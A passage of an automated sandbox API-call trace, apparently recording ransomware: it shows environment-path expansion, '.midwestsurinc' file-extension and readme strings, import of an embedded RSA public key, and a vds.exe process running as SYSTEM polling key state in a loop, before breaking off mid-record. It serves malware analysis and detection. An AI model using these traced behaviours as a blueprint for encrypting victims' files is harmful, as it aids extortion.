RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49df38 [0221.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=11, lpWideCharStr=0x49df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dfc0 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49df38) returned 1 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49df38 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dfc0) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc08) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a2850 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a2850) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a2850 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.790] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d618 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0221.790] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.791] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.791] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.791] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.791] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.791] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2e8 [0221.791] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0221.791] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.791] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.791] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.791] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0221.791] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5e8) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2e8) returned 1 [0221.792] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d618) returned 1 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d618 [0221.792] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2e8 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0221.793] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.793] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.793] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x9a2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0221.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=14, lpWideCharStr=0x49dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0221.794] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x9a2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=10, lpWideCharStr=0x49e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0221.794] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x9a2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=15, lpWideCharStr=0x49e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0221.794] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x9a2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0221.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a2850, cbMultiByte=56, lpWideCharStr=0x49e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0221.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0221.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a5058, cbMultiByte=14, lpWideCharStr=0x49e1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0221.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a5058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0221.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a5058, cbMultiByte=21, lpWideCharStr=0x49e268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0221.795] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0221.809] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0221.809] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x9a7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x9a7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0221.809] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x9a7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0221.817] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x280) returned 0x9a7f40 [0221.817] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x9a7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x9a7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x9a7f40, pcbStructInfo=0x18fd24) returned 1 [0221.817] CryptImportPublicKeyInfo (in: hCryptProv=0x5a2038, dwCertEncodingType=0x10001, pInfo=0x9a7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x9a7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x9a7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5a6318) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a7f40) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a7cf8) returned 1 [0221.820] ReleaseMutex (hMutex=0xc4) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a5058) returned 1 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a5058 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c900) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a5058) returned 1 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a5058 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c900) returned 1 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0221.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e1e0 [0221.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c900, cbMultiByte=9, lpWideCharStr=0x49e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0221.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e268 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e1e0) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e268) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c900) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a5058) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a2850) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.820] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0221.821] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.821] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0221.821] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.821] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0221.821] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.821] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0221.821] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 1 [0221.831] ExitProcess (uExitCode=0x0) Thread: id = 848 os_tid = 0x6b8 Thread: id = 849 os_tid = 0x6bc Thread: id = 850 os_tid = 0x6c0 Process: id = "68" image_name = "vds.exe" filename = "c:\\windows\\system32\\vds.exe" page_root = "0x72cc1000" os_pid = "0x6e0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\vds.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\vds" [0xe], "NT AUTHORITY\\Logon Session 00000000:00021e1f" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 857 os_tid = 0x6e4 [0223.548] GetCommandLineW () returned="C:\\Windows\\System32\\vds.exe" [0223.548] GetStockObject (i=168) returned 0x0 [0223.548] GetAsyncKeyState (vKey=58) returned 0 [0223.548] GetKBCodePage () returned 0x1b5 [0223.549] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.549] GetFocus () returned 0x0 [0223.549] GetAsyncKeyState (vKey=58) returned 0 [0223.549] GetKBCodePage () returned 0x1b5 [0223.549] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 